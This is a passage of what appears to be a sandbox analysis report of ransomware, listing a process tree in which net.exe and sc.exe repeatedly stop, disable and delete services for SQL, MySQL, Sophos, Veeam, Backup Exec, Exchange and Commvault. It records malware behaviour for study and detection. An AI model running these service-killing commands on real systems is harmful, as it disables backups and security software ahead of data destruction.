  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop sql
      4⤵
      PID:5104
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config sql start=disabled
    3⤵
    - Launches sc.exe
    PID:4876
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete sql
    3⤵
    - Launches sc.exe
    PID:3860
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop sql$
    3⤵
    PID:1460
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop sql$
      4⤵
      PID:4752
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config sql$ start=disabled
    3⤵
    PID:2544
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete sql$
    3⤵
    PID:3652
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop sql$
    3⤵
    PID:4424
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop sql$
      4⤵
      PID:2216
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config sql$ start=disabled
    3⤵
    PID:776
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete sql$
    3⤵
    PID:2460
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop sql$
    3⤵
    PID:1516
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop sql$
      4⤵
      PID:1560
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config sql$ start=disabled
    3⤵
    - Launches sc.exe
    PID:1612
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete sql$
    3⤵
    - Launches sc.exe
    PID:4476
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop mysql
    3⤵
    PID:4888
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop mysql
      4⤵
      PID:4856
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config mysql start=disabled
    3⤵
    PID:3480
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete mysql
    3⤵
    PID:4864
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop mysql
    3⤵
    PID:2896
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop mysql
      4⤵
      PID:1144
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config mysql start=disabled
    3⤵
    PID:5092
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete mysql
    3⤵
    PID:2588
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop mysql
    3⤵
    PID:1840
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop mysql
      4⤵
      PID:4348
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config mysql start=disabled
    3⤵
    PID:4568
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete mysql
    3⤵
    PID:3976
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop mysql$
    3⤵
    PID:660
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop mysql$
      4⤵
      PID:1656
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config mysql$ start=disabled
    3⤵
    - Launches sc.exe
    PID:752
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete mysql$
    3⤵
    PID:2792
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop mysql$
    3⤵
    PID:4288
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop mysql$
      4⤵
      PID:228
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config mysql$ start=disabled
    3⤵
    PID:2004
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete mysql$
    3⤵
    - Launches sc.exe
    PID:2888
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop mysql$
    3⤵
    PID:1352
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop mysql$
      4⤵
      PID:1580
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config mysql$ start=disabled
    3⤵
    PID:232
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete mysql$
    3⤵
    - Launches sc.exe
    PID:3596
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop svc$
    3⤵
    PID:2752
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop svc$
      4⤵
      PID:4908
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config svc$ start=disabled
    3⤵
    PID:468
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete svc$
    3⤵
    PID:3008
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop svc$
    3⤵
    PID:4656
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop svc$
      4⤵
      PID:1084
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config svc$ start=disabled
    3⤵
    PID:2928
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete svc$
    3⤵
    - Launches sc.exe
    PID:2832
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop svc$
    3⤵
    PID:3860
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop svc$
      4⤵
      PID:304
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config svc$ start=disabled
    3⤵
    PID:1460
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete svc$
    3⤵
    PID:4680
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop memtas
    3⤵
    PID:3652
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop memtas
      4⤵
      PID:4124
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config memtas start=disabled
    3⤵
    - Launches sc.exe
    PID:4424
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete memtas
    3⤵
    PID:1600
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop memtas
    3⤵
    PID:776
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop memtas
      4⤵
      PID:3316
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config memtas start=disabled
    3⤵
    PID:4868
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete memtas
    3⤵
    PID:4464
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop memtas
    3⤵
    PID:1560
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop memtas
      4⤵
      PID:1784
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config memtas start=disabled
    3⤵
    PID:4572
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete memtas
    3⤵
    PID:3088
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop mepocs
    3⤵
    PID:3584
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop mepocs
      4⤵
      PID:2296
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config mepocs start=disabled
    3⤵
    PID:584
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete mepocs
    3⤵
    - Launches sc.exe
    PID:3192
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop mepocs
    3⤵
    PID:1260
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop mepocs
      4⤵
      PID:1744
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config mepocs start=disabled
    3⤵
    PID:1432
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete mepocs
    3⤵
    PID:1860
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop mepocs
    3⤵
    PID:1840
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop mepocs
      4⤵
      PID:124
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config mepocs start=disabled
    3⤵
    - Launches sc.exe
    PID:952
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete mepocs
    3⤵
    PID:860
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop sophos
    3⤵
    PID:1480
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop sophos
      4⤵
      PID:2012
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config sophos start=disabled
    3⤵
    PID:752
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete sophos
    3⤵
    PID:3524
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop sophos
    3⤵
    PID:2444
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop sophos
      4⤵
      PID:2888
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config sophos start=disabled
    3⤵
    PID:228
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete sophos
    3⤵
    PID:1376
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop sophos
    3⤵
    PID:4784
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop sophos
      4⤵
      PID:3216
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config sophos start=disabled
    3⤵
    PID:4336
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete sophos
    3⤵
    - Launches sc.exe
    PID:2748
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop veeam
    3⤵
    PID:1776
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop veeam
      4⤵
      PID:4908
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config veeam start=disabled
    3⤵
    - Launches sc.exe
    PID:3220
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete veeam
    3⤵
    PID:352
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop veeam
    3⤵
    PID:4392
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop veeam
      4⤵
      PID:2804
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config veeam start=disabled
    3⤵
    PID:1532
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete veeam
    3⤵
    PID:2712
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop veeam
    3⤵
    PID:284
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop veeam
      4⤵
      PID:4648
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config veeam start=disabled
    3⤵
    PID:900
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete veeam
    3⤵
    PID:4220
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop backup
    3⤵
    PID:1008
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop backup
      4⤵
      PID:2216
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config backup start=disabled
    3⤵
    PID:1600
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete backup
    3⤵
    PID:2308
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop backup
    3⤵
    PID:3600
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop backup
      4⤵
      PID:4868
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config backup start=disabled
    3⤵
    PID:2452
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete backup
    3⤵
    PID:1976
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop backup
    3⤵
    PID:2692
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop backup
      4⤵
      PID:3088
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config backup start=disabled
    3⤵
    - Launches sc.exe
    PID:332
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete backup
    3⤵
    PID:4864
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MSExchange
    3⤵
    PID:928
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MSExchange
      4⤵
      PID:2296
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MSExchange start=disabled
    3⤵
    PID:3928
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MSExchange
    3⤵
    PID:3148
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MSExchange
    3⤵
    PID:3572
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MSExchange
      4⤵
      PID:1432
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MSExchange start=disabled
    3⤵
    PID:3784
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MSExchange
    3⤵
    PID:3940
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MSExchange
    3⤵
    PID:3520
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MSExchange
      4⤵
      PID:124
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MSExchange start=disabled
    3⤵
    PID:860
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MSExchange
    3⤵
    - Launches sc.exe
    PID:1916
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MSExchange$
    3⤵
    PID:1476
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MSExchange$
      4⤵
      PID:1288
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MSExchange$ start=disabled
    3⤵
    - Launches sc.exe
    PID:5084
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MSExchange$
    3⤵
    PID:1264
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MSExchange$
    3⤵
    PID:4520
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MSExchange$
      4⤵
      PID:2416
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MSExchange$ start=disabled
    3⤵
    - Launches sc.exe
    PID:3152
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MSExchange$
    3⤵
    - Launches sc.exe
    PID:4596
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop MSExchange$
    3⤵
    PID:2152
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MSExchange$
      4⤵
      PID:576
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config MSExchange$ start=disabled
    3⤵
    PID:3700
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete MSExchange$
    3⤵
    PID:3888
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop WSBExchange
    3⤵
    PID:1776
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop WSBExchange
      4⤵
      PID:4904
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config WSBExchange start=disabled
    3⤵
    PID:1568
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete WSBExchange
    3⤵
    PID:352
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop WSBExchange
    3⤵
    PID:4912
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop WSBExchange
      4⤵
      PID:308
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config WSBExchange start=disabled
    3⤵
    - Launches sc.exe
    PID:4688
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete WSBExchange
    3⤵
    PID:724
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop WSBExchange
    3⤵
    PID:4900
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop WSBExchange
      4⤵
      PID:2312
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config WSBExchange start=disabled
    3⤵
    PID:304
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete WSBExchange
    3⤵
    PID:4388
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop PDVFSService
    3⤵
    PID:2360
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop PDVFSService
      4⤵
      PID:3684
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config PDVFSService start=disabled
    3⤵
    PID:4052
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete PDVFSService
    3⤵
    PID:4440
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop PDVFSService
    3⤵
    PID:4476
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop PDVFSService
      4⤵
      PID:2168
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config PDVFSService start=disabled
    3⤵
    PID:4356
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete PDVFSService
    3⤵
    PID:4572
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop PDVFSService
    3⤵
    PID:1960
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop PDVFSService
      4⤵
      PID:816
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config PDVFSService start=disabled
    3⤵
    PID:3584
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete PDVFSService
    3⤵
    PID:5100
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecVSSProvider
    3⤵
    PID:568
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecVSSProvider
      4⤵
      PID:3716
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecVSSProvider start=disabled
    3⤵
    PID:2672
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecVSSProvider
    3⤵
    - Launches sc.exe
    PID:3772
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecVSSProvider
    3⤵
    PID:1224
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecVSSProvider
      4⤵
      PID:3068
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecVSSProvider start=disabled
    3⤵
    PID:3828
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecVSSProvider
    3⤵
    - Launches sc.exe
    PID:3056
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecVSSProvider
    3⤵
    PID:2792
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecVSSProvider
      4⤵
      PID:124
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecVSSProvider start=disabled
    3⤵
    PID:4204
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecVSSProvider
    3⤵
    PID:2996
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecAgentAccelerator
    3⤵
    PID:1132
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecAgentAccelerator
      4⤵
      PID:1484
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecAgentAccelerator start=disabled
    3⤵
    PID:424
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecAgentAccelerator
    3⤵
    - Launches sc.exe
    PID:4616
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecAgentAccelerator
    3⤵
    PID:2872
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecAgentAccelerator
      4⤵
      PID:3132
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecAgentAccelerator start=disabled
    3⤵
    PID:4420
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecAgentAccelerator
    3⤵
    PID:4184
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecAgentAccelerator
    3⤵
    PID:1704
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecAgentAccelerator
      4⤵
      PID:3464
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecAgentAccelerator start=disabled
    3⤵
    PID:4860
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecAgentAccelerator
    3⤵
    - Launches sc.exe
    PID:1032
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecAgentBrowser
    3⤵
    PID:4484
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecAgentBrowser
      4⤵
      PID:4904
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecAgentBrowser start=disabled
    3⤵
    PID:292
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecAgentBrowser
    3⤵
    PID:2780
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecAgentBrowser
    3⤵
    PID:2804
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecAgentBrowser
      4⤵
      PID:3508
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecAgentBrowser start=disabled
    3⤵
    PID:2696
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecAgentBrowser
    3⤵
    PID:4648
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecAgentBrowser
    3⤵
    PID:4660
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecAgentBrowser
      4⤵
      PID:4792
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecAgentBrowser start=disabled
    3⤵
    PID:316
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecAgentBrowser
    3⤵
    PID:3564
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecDiveciMediaService
    3⤵
    PID:4744
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecDiveciMediaService
      4⤵
      PID:4552
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecDiveciMediaService start=disabled
    3⤵
    PID:5000
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecDiveciMediaService
    3⤵
    PID:2944
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecDiveciMediaService
    3⤵
    PID:3312
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecDiveciMediaService
      4⤵
      PID:5032
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecDiveciMediaService start=disabled
    3⤵
    PID:2172
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecDiveciMediaService
    3⤵
    PID:2108
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecDiveciMediaService
    3⤵
    PID:4564
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecDiveciMediaService
      4⤵
      PID:1056
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecDiveciMediaService start=disabled
    3⤵
    - Launches sc.exe
    PID:928
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecDiveciMediaService
    3⤵
    PID:5092
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecJobEngine
    3⤵
    PID:568
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecJobEngine
      4⤵
      PID:3572
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecJobEngine start=disabled
    3⤵
    - Launches sc.exe
    PID:1900
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecJobEngine
    3⤵
    PID:3716
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecJobEngine
    3⤵
    PID:4580
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecJobEngine
      4⤵
      PID:3052
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecJobEngine start=disabled
    3⤵
    PID:552
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecJobEngine
    3⤵
    PID:3056
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecJobEngine
    3⤵
    PID:1480
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecJobEngine
      4⤵
      PID:860
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecJobEngine start=disabled
    3⤵
    PID:2012
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecJobEngine
    3⤵
    PID:4204
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecManagementService
    3⤵
    PID:4540
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecManagementService
      4⤵
      PID:1156
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecManagementService start=disabled
    3⤵
    - Launches sc.exe
    PID:3916
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecManagementService
    3⤵
    PID:2868
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecManagementService
    3⤵
    PID:4592
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecManagementService
      4⤵
      PID:3152
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecManagementService start=disabled
    3⤵
    - Launches sc.exe
    PID:4036
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecManagementService
    3⤵
    - Launches sc.exe
    PID:708
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecManagementService
    3⤵
    PID:3008
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecManagementService
      4⤵
      PID:1236
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecManagementService start=disabled
    3⤵
    PID:4632
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecManagementService
    3⤵
    - Launches sc.exe
    PID:2220
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecRPCService
    3⤵
    PID:4876
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecRPCService
      4⤵
      PID:3860
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecRPCService start=disabled
    3⤵
    PID:3416
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecRPCService
    3⤵
    PID:4676
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecRPCService
    3⤵
    PID:2928
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecRPCService
      4⤵
      PID:4752
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecRPCService start=disabled
    3⤵
    PID:3652
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecRPCService
    3⤵
    PID:2008
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop BackupExecRPCService
    3⤵
    PID:2456
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop BackupExecRPCService
      4⤵
      PID:3792
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config BackupExecRPCService start=disabled
    3⤵
    PID:2564
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete BackupExecRPCService
    3⤵
    PID:4624
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxBlr
    3⤵
    PID:3684
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxBlr
      4⤵
      PID:776
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxBlr start=disabled
    3⤵
    PID:1004
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxBlr
    3⤵
    PID:964
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxBlr
    3⤵
    PID:2168
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxBlr
      4⤵
      PID:2692
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxBlr start=disabled
    3⤵
    - Launches sc.exe
    PID:1612
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxBlr
    3⤵
    PID:4228
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxBlr
    3⤵
    PID:5100
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxBlr
      4⤵
      PID:816
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxBlr start=disabled
    3⤵
    PID:3444
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxBlr
    3⤵
    PID:3400
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxVss
    3⤵
    PID:4716
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxVss
      4⤵
      PID:4472
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxVss start=disabled
    3⤵
    PID:4300
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxVss
    3⤵
    PID:1880
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxVss
    3⤵
    PID:1840
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxVss
      4⤵
      PID:3580
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxVss start=disabled
    3⤵
    PID:1892
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxVss
    3⤵
    PID:3608
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxVss
    3⤵
    PID:4288
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxVss
      4⤵
      PID:1800
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxVss start=disabled
    3⤵
    PID:1656
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxVss
    3⤵
    PID:1288
- - C:\Windows\SYSTEM32\net.exe
    "net.exe" stop GxClMgrS
    3⤵
    PID:2056
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop GxClMgrS
      4⤵
      PID:2940
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" config GxClMgrS start=disabled
    3⤵
    - Launches sc.exe
    PID:1500
- - C:\Windows\SYSTEM32\sc.exe
    "sc.exe" delete GxClMgrS
    3⤵
